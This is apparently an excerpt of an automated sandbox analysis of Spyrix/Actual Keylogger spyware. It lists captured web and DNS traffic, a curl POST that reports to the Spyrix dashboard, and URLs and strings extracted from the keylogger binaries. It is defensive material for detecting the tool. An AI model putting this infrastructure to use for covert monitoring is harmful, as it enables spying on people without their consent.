Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: dashboard.spyrix.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-08b2a987.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-7e7c447a.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-1178777c.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button.module-6d4e91b8.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonTemplate.module-c837805f.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-5393c481.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-ef960fb7.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText.module-c769b9ae.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Modal.module-d62c47b8.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/useValidation-954c07e6.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/loop-c45f0f1e.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonTemplate.module-c837805f.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button.module-6d4e91b8.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Modal.module-d62c47b8.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText.module-c769b9ae.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Nunito-Bold-765bfff4.woff2 HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/useValidation-954c07e6.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/loop-c45f0f1e.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: qrl.exe	String found in binary or memory: Usage: curl [options...] <url>
Source: qrl.exe, 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: qrl.exe, 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>3[_U[_}[_
Source: qrl.exe, 00000049.00000002.2606650716.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: qrl.exe, 00000049.00000002.2606650716.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>3[_U[_}[_
Source: qrl.exe, 0000004B.00000000.2579396035.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: qrl.exe, 0000004B.00000000.2579396035.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>3[_U[_}[_
Source: qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: Usage: curl [options...] <url>3[_U[_}[_

Source: spkl.exe, 00000038.00000003.2483675569.0000000007720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SearchID="http://www.myspace.com/search/" equals www.myspace.com (Myspace)
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myspace.com/search/ equals www.myspace.com (Myspace)
Source: spkl.exe, 00000038.00000003.2483675569.0000000007720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: msgID="http://www.myspace.com/my/mail" equals www.myspace.com (Myspace)

Source: global traffic	DNS traffic detected: DNS query: filedn.com
Source: global traffic	DNS traffic detected: DNS query: cdnbaynet.com
Source: global traffic	DNS traffic detected: DNS query: swtb-download.spyrix-sfk.com
Source: global traffic	DNS traffic detected: DNS query: dashboard.spyrix.com
Source: global traffic	DNS traffic detected: DNS query: spyrix.net
Source: global traffic	DNS traffic detected: DNS query: cdn.cdndownload.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /dashboard/prg-actions HTTP/1.1Host: spyrix.netUser-Agent: curl/7.64.0Accept: */*Content-Length: 426Content-Type: application/x-www-form-urlencoded

Source: spkl.exe, 00000038.00000002.2750231481.0000000006A70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: HTTPS://DASHBOARD.SPYRIX.COM/
Source: spkl.exe, 00000038.00000002.2742570837.000000000456C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: HTTPS://SPYRIX.NET/DASHBOARD/PRG-ACTIONS
Source: qrl.exe, 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000049.00000002.2606650716.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004B.00000000.2579396035.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://.css
Source: qrl.exe, qrl.exe, 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000049.00000002.2606650716.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004B.00000000.2579396035.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://.jpg
Source: [space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ca.crl0:
Source: [space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/l3.crl0a
Source: [space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: [space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: curl.exe, 00000011.00000003.1867162261.0000000002B0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: curl.exe, 00000011.00000003.1867162261.0000000002B0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45codesignca2020.crl0
Source: curl.exe, 00000011.00000003.1867162261.0000000002B0C000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000003.1867203455.0000000002B38000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000003.1859136273.0000000002B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: svchost.exe, 00000008.00000002.2689351113.0000027405600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1559425141.0000027405470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: [space]= .exe, 00000007.00000002.1804766822.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://filedn.com
Source: [space]= .exe, 00000007.00000002.1804766822.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://filedn.comd
Source: qrl.exe, qrl.exe, 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000049.00000002.2606650716.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004B.00000000.2579396035.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: qrl.exe, 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000049.00000002.2606650716.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004B.00000000.2579396035.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://https://-.://%s%s%s/%s
Source: spkl.exe, 00000038.00000003.2422306843.00000000044E1000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2691175840.0000000000929000.00000040.00000001.01000000.00000014.sdmp, spmm.exe, 0000004D.00000000.2590049471.00000000005EA000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://neftali.clubdelphi.com/
Source: [space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.certum.pl0.
Source: [space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: curl.exe, 00000011.00000003.1867162261.0000000002B0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: curl.exe, 00000011.00000003.1867162261.0000000002B0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45codesignca20200V
Source: curl.exe, 00000011.00000003.1867162261.0000000002B0C000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000003.1867203455.0000000002B38000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000003.1859136273.0000000002B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2483675569.0000000007720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rc.qzone.qq.com/qzonesoso/?search
Source: [space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/l3.cer0
Source: is-2HD8H.tmp.22.dr, is-4EDJE.tmp.22.dr	String found in binary or memory: http://schemas.mic
Source: is-VPREH.tmp.22.dr	String found in binary or memory: http://schemas.micr
Source: is-NOU64.tmp.22.dr	String found in binary or memory: http://schemas.microsof
Source: [space]= .exe, 00000007.00000002.1804766822.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: curl.exe, 00000011.00000003.1867162261.0000000002B0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45codesignca2020.crt0=
Source: curl.exe, 00000011.00000003.1867162261.0000000002B0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: spkl.exe	String found in binary or memory: http://spyrix.com/manual.php
Source: spkl.exe, 00000038.00000003.2483675569.0000000007720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://user.qzone.qq.com
Source: spkl.exe, 00000038.00000003.2483675569.0000000007720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://vk.com/search
Source: spkl.exe, 00000038.00000002.2750231481.0000000006A96000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://vk.com/searchecp
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.actualkeylogger.com/buynow.html
Source: spkl.exe	String found in binary or memory: http://www.actualkeylogger.com/help.html
Source: spkl.exe	String found in binary or memory: http://www.actualkeylogger.com/help.html#registrate
Source: spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.actualkeylogger.com/help.html#registratehttp://www.spyrix.com/manual.php#registrateU
Source: spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.actualkeylogger.com/help.htmlhttp://spyrix.com/manual.phpU
Source: [space]= .exe, 00000013.00000003.1870585486.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000013.00000003.2474200016.0000000001FB8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003200000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.dk-soft.org/
Source: spkl.exe, spkl.exe, 00000038.00000002.2673755823.0000000000863000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000038.00000002.2742570837.0000000004541000.00000004.00001000.00020000.00000000.sdmp, spmm.exe, 0000004D.00000000.2580594653.0000000000401000.00000020.00000001.01000000.00000018.sdmp, spmm.exe, 0000004D.00000002.2678280868.00000000022B1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.indyproject.org/
Source: spkl.exe	String found in binary or memory: http://www.indyproject.org/Original
